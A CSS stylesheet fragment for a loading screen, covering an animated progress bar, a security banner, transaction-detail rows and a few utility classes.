.loading .notice-process-box {
display: flex;
align-items: center;
flex-direction: column
}
.loading .notice-process-box .notice-process {
font-size: 22px;
font-weight: 500;
margin: 10px 0 40px
}
@media (max-width: 475px) {
.loading .content {
width: 180px
}
.loading .notice-process-box .notice-process {
font-size: 18px
}
}
.progress-container {
width: 90%;
margin: 20px auto;
text-align: center;
}
.progress-bar {
height: 8px;
background-color: #f5f5f5;
border-radius: 4px;
overflow: hidden;
margin-bottom: 8px;
box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
}
.progress-fill {
height: 100%;
background-color: #4a9df3;
border-radius: 4px;
transition: width 0.5s ease;
background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
background-size: 1rem 1rem;
animation: progress-bar-stripes 1s linear infinite;
}
.progress-text {
font-size: 14px;
color: #666;
margin-top: 5px;
}
@keyframes progress-bar-stripes {
0% {
background-position: 1rem 0;
}
100% {
background-position: 0 0;
}
}
.security-banner {
display: flex;
align-items: center;
justify-content: center;
padding: 10px 0;
}
.feature {
display: flex;
align-items: center;
}
.separator {
border-left: 1px solid #000;
height: 12px;
margin: 0 10px;
}
.icon {
color: #4CAF50;
margin-right: 5px;
width: 15px;
height: 15px;
}
.label {
font-family: Arial, sans-serif;
font-size: 12px;
color: #0009;
opacity: .8;
}
.transaction-details {
background-color: #00000005;
border-radius: 8px;
margin-top: 10px
}
.details-header {
font-size: 14px;
color: var(--v-primary-base)
}
.detail-item {
display: flex;
justify-content: space-between;
padding: 4px 0;
font-size: 13px
}
.detail-label {
color: #0009;
font-weight: 500;
text-align: left;
}
.detail-value {
font-family: Roboto Mono, monospace;
letter-spacing: .5px;
text-align: right;
}
@keyframes shimmerAnimation-f00fe7f0 {
0% {
background-position: -200px 0
}
to {
background-position: 200px 0
}
}
@keyframes pulse-f00fe7f0 {
0% {
opacity: 1
}
50% {
opacity: .7
}
to {
opacity: 1
}
}
.v-divider {
display: block;
flex: 1 1 100%;
height: 0px;
max-height: 0px;
opacity: var(--v-border-opacity);
transition: inherit;
border-style: solid;
border-width: thin 0 0 0
}
.pa-4 {
padding: 16px !important
}
.flex-column {
flex-direction: column !important;
}
</style>